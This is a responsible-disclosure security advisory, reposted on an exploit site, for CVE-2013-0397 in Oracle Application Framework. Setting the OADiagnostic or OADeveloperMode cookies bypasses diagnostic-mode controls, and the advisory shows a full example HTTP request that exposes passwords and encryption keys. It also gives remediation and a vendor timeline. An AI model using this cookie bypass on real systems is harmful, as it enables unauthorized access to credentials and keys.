Oracle Application Framework Diagnostic Mode Bypass Vulnerability

2013-01-17T00:00:00
ID 1337DAY-ID-20188
Type zdt
Reporter Trustwave's Spide.
Modified 2013-01-17T00:00:00

Description

Exploit for jsp platform in category web applications

                                        
                                            Oracle Application Framework Diagnostic Mode Bypass Vulnerability

Published: 1/15/2013
Version: 1.0

Vendor: Oracle (www.oracle.com)
Product: Oracle Application Framework

Version affected: 11.5.10.2, 12.0.6, 12.1.3

Product description:
The Oracle Application Framework is a Java library used to facilitate the
development of web-based applications.

Credit: David Byrne of Trustwave SpiderLabs

Finding 1: Oracle Application Framework Diagnostic Mode Bypass
Vulnerability
CVE: CVE-2013-0397

The Oracle Application Framework supports a diagnostic and developer mode
feature that are intended to be enabled from developer or administrative
interfaces. However, any user can manually enable the modes by setting the
"OADiagnostic" or "OADeveloperMode" cookies to "1".

Example:
GET request for enabling diagnostic mode

GET /OA_HTML/RF.jsp?function_id=1038712&resp_id=23350&resp_appl_id=80
0&security_group_id=0&lang_code=US&params=.1VlTZi5hyKHcE3E6mrZaB91phg4LLW-2ZXXJFOuaJdg-6ALqWl2AqDOwJZdQVEM&oas=q5-BOVjQj7_z-XSTMTne3A..
 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: JSESSIONID=b2f1079e3d1bb96cb4bd465a829d42ee397609177b2c4e281fb
7d1235f1153b2.e3ePbhaKb3qRe3yMb3aMaxiKay0; OADiagnostic=1; GSI=ZYAdeA07tN9SSQS8jeBDZGoXK9; 
BIGipServergsiap_irecruitment_http=1527616141.5150.0000; s_cc=true; s_nr=1351286855771; gpv_p24=no%20value; 
gpw_e24=no%20value; s_sq=%5B%5BB%5D%5D; OADeveloperMode=1; oracle.uix=0^^GMT-6:00^p; 
fs_nocache_guid=06D4170AC1745B5E87EA9290121EFF01; atgPlatoStop=1

Enabling diagnostic mode causes the server to present a "Diagnostics" link
at the top and bottom of every page, and an "About this page" link at the
bottom. This can be performed on pages that do not require authentication.

For example, clicking on the "Diagnostics" link allows the user to enable a
number of tracing and logging functions. Clicking on "About this page"
presents environment and session information. The "profiles" tab in the
"About this page" section allows access to a number of sensitive settings,
including passwords and encryption/decryption keys.

Remediation Steps:
The vendor has addressed this security issue in the January 2013 Critical
Patch Update.

Vendor Communication Timeline:
10/31/12 - Initial communications with vendor
11/01/12 - Vulnerability disclosed to vendor
11/05/12 - Vendor acknowledges security issue
11/27/12 - Vendor provides status report
12/17/12 - Vendor provides status report
01/09/13 - Consulted vendor about publishing advisory
01/11/13 - Acknowledged publishing fix for January 15th CPU
01/15/13 - Advisory published

#  0day.today [2018-01-04]  #